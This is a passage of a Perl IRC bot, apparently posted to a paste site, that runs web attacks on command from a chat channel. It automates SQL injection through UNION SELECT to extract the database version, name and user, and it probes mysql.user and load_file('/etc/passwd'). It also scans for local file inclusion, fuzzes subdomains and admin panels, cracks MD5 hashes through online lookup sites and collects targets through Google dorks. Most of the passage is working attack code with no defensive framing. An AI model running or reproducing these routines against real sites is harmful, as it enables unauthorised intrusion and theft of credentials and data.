  731.  
  732.             if ( $log =~ m/:!fuzzdns (.*)$/g ) {
  733.                 print $soquete "PRIVMSG $canal : [+] Working ...\r\n";
  734.                 scan1($1);
  735.                 print $soquete "PRIVMSG $canal : [+] Scan Finished\r\n";
  736.             }
  737.  
  738.             if ( $log =~ m/:!lfi/ ) {
  739.  
  740.                 $log =~ /:(.*)!(.*)\sPRIVMSG\s(.*)\s:(.*)\s(.*)\s(.*)/;
  741.  
  742.                 if ( $4 eq "!lfi" ) {
  743.  
  744.                     my $page = $5;
  745.  
  746.                     print $soquete "PRIVMSG $canal : [+] Working ...\r\n";
  747.                     lfi($page);
  748.                     print $soquete "PRIVMSG $canal : [+] Scan Finished\r\n";
  749.                 }
  750.             }
  751.  
  752.             if ( $log =~ m/:!base64 (.*) (.*)$/g ) {
  753.                 use MIME::Base64;
  754.                 my ( $opcion, $aa ) = ( $1, $2 );
  755.                 chop $aa;
  756.                 if ( $opcion eq "encode" ) {
  757.                     print $soquete "PRIVMSG $canal : [+] Text : $aa\r\n";
  758.                     print $soquete "PRIVMSG $canal : [+] Encode : "
  759.                       . encode_base64($aa) . "\r\n";
  760.                 }
  761.                 elsif ( $opcion eq "decode" ) {
  762.                     print $soquete "PRIVMSG $canal : [+] Encode : $aa\r\n";
  763.                     print $soquete "PRIVMSG $canal : [+] Text : "
  764.                       . decode_base64($aa) . "\r\n";
  765.                 }
  766.                 else {
  767.                     print $soquete "PRIVMSG $canal : ??\r\n";
  768.                 }
  769.             }
  770.  
  771.             if ( $log =~ m/:!ascii (.*) (.*)$/ ) {
  772.                 my ( $opcion, $aa ) = ( $1, $2 );
  773.                 chop $aa;
  774.                 if ( $opcion eq "encode" ) {
  775.                     print $soquete "PRIVMSG $canal : [+] Text : $aa\r\n";
  776.                     print $soquete "PRIVMSG $canal : [+] Encode : "
  777.                       . ascii($aa) . "\r\n";
  778.                 }
  779.                 elsif ( $opcion eq "decode" ) {
  780.                     print $soquete "PRIVMSG $canal : [+] Encode : $aa\r\n";
  781.                     print $soquete "PRIVMSG $canal : [+] Text : "
  782.                       . ascii_de($aa) . "\r\n";
  783.                 }
  784.                 else {
  785.                     print $soquete "PRIVMSG $canal : ???\r\n";
  786.                 }
  787.             }
  788.  
  789.             if ( $log =~ m/:!hex (.*) (.*)$/ ) {
  790.                 my ( $opcion, $aa ) = ( $1, $2 );
  791.                 chop $aa;
  792.                 if ( $opcion eq "encode" ) {
  793.                     print $soquete "PRIVMSG $canal : [+] Text : $aa\r\n";
  794.                     print $soquete "PRIVMSG $canal : [+] Encode : "
  795.                       . encode($aa) . "\r\n";
  796.                 }
  797.                 elsif ( $opcion eq "decode" ) {
  798.                     print $soquete "PRIVMSG $canal : [+] Encode : $aa\r\n";
  799.                     print $soquete "PRIVMSG $canal : [+] Text : "
  800.                       . decode($aa) . "\r\n";
  801.                 }
  802.                 else {
  803.                     print $soquete "PRIVMSG $canal : ????\r\n";
  804.                 }
  805.             }
  806.         }
  807.  
  808.         sub lfi {
  809.  
  810.             print $soquete "PRIVMSG $canal : [+] Status : [scanning]" . "\r\n";
  811.  
  812.             $code = toma( $_[0] . "'" );
  813.             if ( $code =~ /No such file or directory in <b>(.*)<\/b> on line/ig
  814.                 or $code =~
  815. /No existe el fichero o el directorio in <b>(.*?)<\/b> on line/ig
  816.               )
  817.             {
  818.                 print $soquete "PRIVMSG $canal : [+] Vulnerable !" . "\r\n";
  819.                 print $soquete
  820.                   "PRIVMSG $canal : [*] Full path discloure detected : $1"
  821.                   . "\r\n";
  822.                 print $soquete "PRIVMSG $canal : [+] Status : [fuzzing files]"
  823.                   . "\r\n";
  824.                 for my $file (@buscar3) {
  825.                     $code1 = toma( $_[0] . $file );
  826.                     unless ( $code1 =~
  827.                         /No such file or directory in <b>(.*)<\/b> on line/ig
  828.                         or $code =~
  829. /No existe el fichero o el directorio in <b>(.*?)<\/b> on line/ig
  830.                       )
  831.                     {
  832.                         $ok = 1;
  833.                         print $soquete "PRIVMSG $canal : [File Found] : "
  834.                           . $_[0]
  835.                           . $file . "\r\n";
  836.                     }
  837.                 }
  838.                 unless ( $ok == 1 ) {
  839.                     print $soquete "PRIVMSG $canal : [-] Dont found any file"
  840.                       . "\r\n";
  841.                 }
  842.             }
  843.             else {
  844.                 print $soquete
  845.                   "PRIVMSG $canal : [-] Page not vulnerable to LFI" . "\r\n";
  846.             }
  847.         }
  848.  
  849.         sub scan1 {
  850.             print $soquete "PRIVMSG $canal : [*] Searching DNS to "
  851.               . $_[0] . "\r\n";
  852.             for my $path (@dns) {
  853.                 $code = tomax( "http://" . $path . "." . $_[0] );
  854.                 if ( $code->is_success ) {
  855.                     print $soquete "PRIVMSG $canal : http://"
  856.                       . $path . "."
  857.                       . $_[0] . "\r\n";
  858.                 }
  859.             }
  860.         }
  861.  
  862.         sub scan {
  863.             my $page = shift;
  864.             chomp $page;
  865.             print $soquete "PRIVMSG $canal [*] Searching panels to "
  866.               . $page . "\r\n";
  867.  
  868.             for my $path (@panels) {
  869.                 $code = tomados( $page . "/" . $path );
  870.                 if ( $code->is_success ) {
  871.                     print "\a";
  872.                     $ct = 1;
  873.                     print $soquete "PRIVMSG $canal [Link] : "
  874.                       . $page . "/"
  875.                       . $path . "\r\n";
  876.                 }
  877.             }
  878.             if ( $ct ne 1 ) {
  879.                 print $soquete "PRIVMSG $canal [-] Not found any path\r\n";
  880.             }
  881.         }
  882.  
  883.         sub scan2 {
  884.  
  885.             my $rows = "0";
  886.             my $asc;
  887.             my $page = $_[0];
  888.  
  889.             ( $pass1, $pass2 ) = &bypass( $ARGV[1] );
  890.             $inyection =
  891.                 $page . "-1"
  892.               . $pass1 . "order"
  893.               . $pass1 . "by"
  894.               . "9999999999"
  895.               . $pass2;
  896.             $code = toma($inyection);
  897.             if ( $code =~
  898. /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig
  899.                 || $code =~ /mysql_free_result/ig
  900.                 || $code =~ /mysql_fetch_assoc/ig
  901.                 || $code =~ /mysql_num_rows/ig
  902.                 || $code =~ /mysql_fetch_array/ig
  903.                 || $code =~ /mysql_fetch_assoc/ig
  904.                 || $code =~ /mysql_query/ig
  905.                 || $code =~ /mysql_free_result/ig
  906.                 || $code =~ /equivocado en su sintax/ig
  907.                 || $code =~ /You have an error in your SQL syntax/ig
  908.                 || $code =~ /Call to undefined function/ig )
  909.             {
  910.                 $code1 =
  911.                   toma( $page . "-1"
  912.                       . $pass1 . "union"
  913.                       . $pass1
  914.                       . "select"
  915.                       . $pass1 . "666"
  916.                       . $pass2 );
  917.                 if ( $code1 =~
  918. /The used SELECT statements have a different number of columns/ig
  919.                   )
  920.                 {
  921.                     my $path = $1;
  922.                     chomp $path;
  923.                     $alert = "char(" . ascii("RATSXPDOWN1RATSXPDOWN") . ")";
  924.                     $total = "1";
  925.                     for my $rows ( 2 .. 52 ) {
  926.                         $asc .= "," . "char("
  927.                           . ascii( "RATSXPDOWN" . $rows . "RATSXPDOWN" ) . ")";
  928.                         $total .= "," . $rows;
  929.                         $injection =
  930.                             $page . "-1"
  931.                           . $pass1 . "union"
  932.                           . $pass1
  933.                           . "select"
  934.                           . $pass1
  935.                           . $alert
  936.                           . $asc;
  937.                         $test = toma($injection);
  938.                         if ( $test =~ /RATSXPDOWN/ ) {
  939.                             @number = $test =~ m{RATSXPDOWN(\d+)RATSXPDOWN}g;
  940.                             print $soquete
  941.                               "PRIVMSG $canal : [Page] : $page\r\n";
  942.                             print $soquete
  943. "PRIVMSG $canal : [Limit] : The site has $rows columns\r\n";
  944.                             print $soquete
  945. "PRIVMSG $canal : [Data] : The number @number print data\r\n";
  946.                             if ( $test =~ /RATSXPDOWN(\d+)/ ) {
  947.                                 if ($path) {
  948.                                     print $soquete
  949. "PRIVMSG $canal : [Full Path Discloure] : $path\r\n";
  950.                                 }
  951.                                 $total =~ s/@number[0]/hackman/;
  952.                                 print $soquete
  953.                                   "PRIVMSG $canal : [+] Injection SQL : "
  954.                                   . $page . "-1"
  955.                                   . $pass1 . "union"
  956.                                   . $pass1
  957.                                   . "select"
  958.                                   . $pass1
  959.                                   . $total . "\r\n";
  960.                                 &details(
  961.                                     $page . "-1"
  962.                                       . $pass1 . "union"
  963.                                       . $pass1
  964.                                       . "select"
  965.                                       . $pass1
  966.                                       . $total,
  967.                                     $_[1]
  968.                                 );
  969.                                 last;
  970.                             }
  971.                         }
  972.                     }
  973.                 }
  974.             }
  975.  
  976.             sub details {
  977.                 my $page = $_[0];
  978.                 ( $pass1, $pass2 ) = &bypass( $ARGV[1] );
  979.                 if ( $page =~ /(.*)hackman(.*)/ig ) {
  980.                     my $start = $1;
  981.                     my $end   = $2;
  982.                     $test1 =
  983.                       toma( $start
  984.                           . "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))"
  985.                           . $end
  986.                           . $pass1 . "from"
  987.                           . $pass1
  988.                           . "information_schema.tables"
  989.                           . $pass2 );
  990.                     $test2 =
  991.                       toma( $start
  992.                           . "unhex(hex(concat(char(69,82,84,79,82,56,53,52))))"
  993.                           . $end
  994.                           . $pass1 . "from"
  995.                           . $pass1
  996.                           . "mysql.user"
  997.                           . $pass2 );
  998.                     $test3 =
  999.                       toma( $start
  1000.                           . "unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))"
  1001.                           . $end
  1002.                           . $pass2 );
  1003.                     if ( $test2 =~ /ERTOR854/ig ) {
  1004.                         print $soquete
  1005.                           "PRIVMSG $canal : [+] MYSQL User : ON\r\n";
  1006.                     }
  1007.                     if ( $test1 =~ /ERTOR854/ig ) {
  1008.                         print $soquete
  1009.                           "PRIVMSG $canal : [+] information_schema : ON\r\n";
  1010.                     }
  1011.                     if ( $test3 =~ /ERTOR854/ig ) {
  1012.                         print $soquete
  1013.                           "PRIVMSG $canal : [+] load_file : ON\r\n";
  1014.                     }
  1015.                     $code =
  1016.                       toma( $start
  1017.                           . "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))"
  1018.                           . $end
  1019.                           . $pass2 );
  1020.                     if ( $code =~
  1021.                         /ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g )
  1022.                     {
  1023.                         print $soquete
  1024.                           "PRIVMSG $canal : [!] DB Version : $1\r\n";
  1025.                         print $soquete "PRIVMSG $canal : [!] DB Name : $2\r\n";
  1026.                         print $soquete
  1027.                           "PRIVMSG $canal : [!] user_name : $3\r\n";
  1028.                     }
  1029.                     else {
  1030.                         print $soquete
  1031.                           "PRIVMSG $canal : [-] Not found any data\r\n";
  1032.                     }
  1033.                     print $soquete "PRIVMSG $canal : [+] Scan Finished\r\n";
  1034.                 }
  1035.             }
  1036.         }
  1037.  
  1038.     }
  1039.  
  1040.     sub infocon {
  1041.         my $target = shift;
  1042.  
  1043.         my ( $scheme, $auth, $path, $query, $frag ) = uri_split($target);
  1044.  
  1045.         if ( $auth ne "" ) {
  1046.  
  1047.             my $get    = gethostbyname($auth);
  1048.             my $target = inet_ntoa($get);
  1049.  
  1050.             print $soquete "PRIVMSG $canal : [+] Getting info\r\n";
  1051.  
  1052.             $total =
  1053. "http://www.melissadata.com/lookups/iplocation.asp?ipaddress=$target";
  1054.             $re = toma($total);
  1055.  
  1056.             if ( $re =~ /City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
  1057.                 print $soquete "PRIVMSG $canal : [+] City : $2\r\n";
  1058.             }
  1059.             else {
  1060.                 print $soquete "PRIVMSG $canal : [-] Not Found\r\n";
  1061.             }
  1062.             if ( $re =~ /Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
  1063.                 print $soquete "PRIVMSG $canal : [+] Country : $2\r\n";
  1064.             }
  1065.             if ( $re =~
  1066.                 /State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ )
  1067.             {
  1068.                 print $soquete "PRIVMSG $canal : [+] State or Region : $2\r\n";
  1069.  
  1070.             }
  1071.  
  1072.             print $soquete "PRIVMSG $canal : [+] Getting Hosts\r\n";
  1073.  
  1074.             my $code = toma( "http://www.ip-adress.com/reverse_ip/" . $target );
  1075.  
  1076.             while ( $code =~ /whois\/(.*?)\">Whois/g ) {
  1077.                 my $dns = $1;
  1078.                 chomp $dns;
  1079.                 print $soquete "PRIVMSG $canal : [DNS] : $dns\r\n";
  1080.  
  1081.             }
  1082.         }
  1083.     }
  1084.  
  1085. }    #
  1086.  
  1087. # Functions
  1088.  
  1089. sub crackit {
  1090.  
  1091.     my $md5 = shift;
  1092.     my $resultado;
  1093.  
  1094. ## www.md5.net
  1095.  
  1096.     my $code = tomar(
  1097.         "http://www.md5.net/cracker.php",
  1098.         { 'hash' => $md5, 'submit' => 'Crack' }
  1099.     );
  1100.  
  1101.     if ( $code =~ m{<input type="text" id="hash" size="(.*?)" value="(.*?)"/>}
  1102.         and $code !~ /Entry not found./mig )
  1103.     {
  1104.  
  1105.         $resultado = $2;
  1106.  
  1107.     }
  1108.     else {
  1109.  
  1110. ## md5online.net
  1111.  
  1112.         my $code = tomar( "http://md5online.net/index.php",
  1113.             { 'pass' => $md5, 'option' => 'hash2text', 'send' => 'Submit' } );
  1114.  
  1115.         if ( $code =~
  1116.             /<center><p>md5 :<b>(.*?)<\/b> <br>pass : <b>(.*?)<\/b><\/p>/ )
  1117.         {
  1118.             $resultado = $2;
  1119.         }
  1120.         else {
  1121.  
  1122. ## md5decryption.com
  1123.  
  1124.             my $code = tomar(
  1125.                 "http://md5decryption.com/index.php",
  1126.                 { 'hash' => $md5, 'submit' => 'Decrypt It!' }
  1127.             );
  1128.  
  1129.             if ( $code =~ /Decrypted Text: <\/b>(.*?)<\/font>/ ) {
  1130.                 $resultado = $1;
  1131.             }
  1132.             else {
  1133.  
  1134. ## md5.my-addr.com
  1135.  
  1136.                 my $code = tomar(
  1137. "http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php",
  1138.                     { 'md5' => $md5 }
  1139.                 );
  1140.  
  1141.                 if ( $code =~
  1142. /<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>/
  1143.                   )
  1144.                 {
  1145.                     $resultado = $1;
  1146.                 }
  1147.                 else {
  1148.                     $resultado = "false01";
  1149.                 }
  1150.             }
  1151.         }
  1152.     }
  1153.     return $resultado;
  1154. }
  1155.  
  1156. sub bypass {
  1157.     if    ( $_[0] eq "/*" )  { return ( "/**/", "/*" ); }
  1158.     elsif ( $_[0] eq "%20" ) { return ( "%20",  "%00" ); }
  1159.     else                     { return ( "+",    "--" ); }
  1160. }
  1161.  
  1162. sub ascii {
  1163.     return join ',', unpack "U*", $_[0];
  1164. }
  1165.  
  1166. sub ascii_de {
  1167.     $_[0] = join q[], map { chr } split q[,], $_[0];
  1168.     return $_[0];
  1169. }
  1170.  
  1171. sub encode {
  1172.     my $string = $_[0];
  1173.     $hex = '0x';
  1174.     for ( split //, $string ) {
  1175.         $hex .= sprintf "%x", ord;
  1176.     }
  1177.     return $hex;
  1178. }
  1179.  
  1180. sub decode {
  1181.     $_[0] =~ s/^0x//;
  1182.     $encode = join q[], map { chr hex } $_[0] =~ /../g;
  1183.     return $encode;
  1184. }
  1185.  
  1186. sub google {
  1187.     my ( $a, $b ) = @_;
  1188.     for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
  1189.         $code = toma(
  1190.             "http://www.google.com.ar/search?hl=&q=" . $a . "&start=$pages" );
  1191.         my @links = get_links($code);
  1192.         for my $l (@links) {
  1193.             if ( $l =~ /webcache.googleusercontent.com/ ) {
  1194.                 push( @url, $l );
  1195.             }
  1196.         }
  1197.     }
  1198.     for (@url) {
  1199.         if ( $_ =~ /cache:(.*?):(.*?)\+/ ) {
  1200.             push( @founds, $2 );
  1201.         }
  1202.     }
  1203.     my @founds = repes( cortar(@founds) );
  1204.     return @founds;
  1205. }
  1206.  
  1207. sub repes {
  1208.     my @limpio;
  1209.     foreach $test (@_) {
  1210.         push @limpio, $test unless $repe{$test}++;
  1211.     }
  1212.     return @limpio;
  1213. }
  1214.  
  1215. sub cortar {
  1216.     my @nuevo;
  1217.     for (@_) {
  1218.         if ( $_ =~ /=/ ) {
  1219.             @tengo = split( "=", $_ );
  1220.             push( @nuevo, @tengo[0] . "=" );
  1221.         }
  1222.         else {
  1223.             push( @nuevo, $_ );
  1224.         }
  1225.     }
  1226.     return @nuevo;
  1227. }
  1228.  
  1229. sub get_links {
  1230.     $test = HTML::LinkExtor->new( \&agarrar )->parse( $_[0] );
  1231.     return @links;
  1232.  
  1233.     sub agarrar {
  1234.         my ( $a, %b ) = @_;
  1235.         push( @links, values %b );
  1236.     }
  1237. }
  1238.  
  1239. sub toma {
  1240.     return $nave->get( $_[0] )->content;
  1241. }
  1242.  
  1243. sub tomar {
  1244.     my ( $web, $var ) = @_;
  1245.     return $nave->post( $web, [ %{$var} ] )->content;
  1246. }
  1247.  
  1248. sub tomados {
  1249.     return $nave->get( $_[0] );
  1250. }
  1251.  
  1252. sub tomax {
  1253.     return $nave->get( $_[0] );
  1254. }
  1255.  
  1256. sub savefile {
  1257.     open( SAVE, ">>" . $_[0] );
  1258.     print SAVE $_[1] . "\n";
  1259.     close SAVE;
  1260. }
  1261.  
  1262. sub abrir {
  1263.     open my $FILE, q[<], "config.txt";
  1264.     my $word = join q[], <$FILE>;
  1265.     close $FILE;
  1266.     return $word;
  1267. }
  1268.  
  1269. sub head {
  1270.     print qq(
  1271.  
  1272.   @@@@  @       @    @@@@@  @@@@@  @@@@@     @    @@@@@     @  @@@@@    @@@@
  1273.  @    @ @       @    @    @   @    @    @    @    @    @    @  @    @  @    @
  1274.  @      @      @ @   @    @   @    @    @   @ @   @    @    @  @    @  @    
  1275.  @      @      @ @   @    @   @    @    @   @ @   @    @    @  @    @  @    
  1276.  @      @     @   @  @@@@@    @    @@@@@   @   @  @@@@@     @  @@@@@   @    
  1277.  @      @     @   @  @        @    @    @  @   @  @         @  @    @  @    
  1278.  @      @     @@@@@  @        @    @    @  @@@@@  @         @  @    @  @    
  1279.  @    @ @    @     @ @        @    @    @ @     @ @         @  @    @  @    @
  1280.   @@@@  @@@@@@     @ @        @    @    @ @     @ @         @  @    @   @@@@
  1281.  
  1282.  
  1283.  
  1284. );
  1285. }
  1286.  
  1287. sub copyright {
  1288.     print "\n\n-- == (C) Doddy Hackman 2014 == --\n\n";
  1289. }
  1290.  
  1291. # The End ?
Add Comment
Please, Sign In to add comment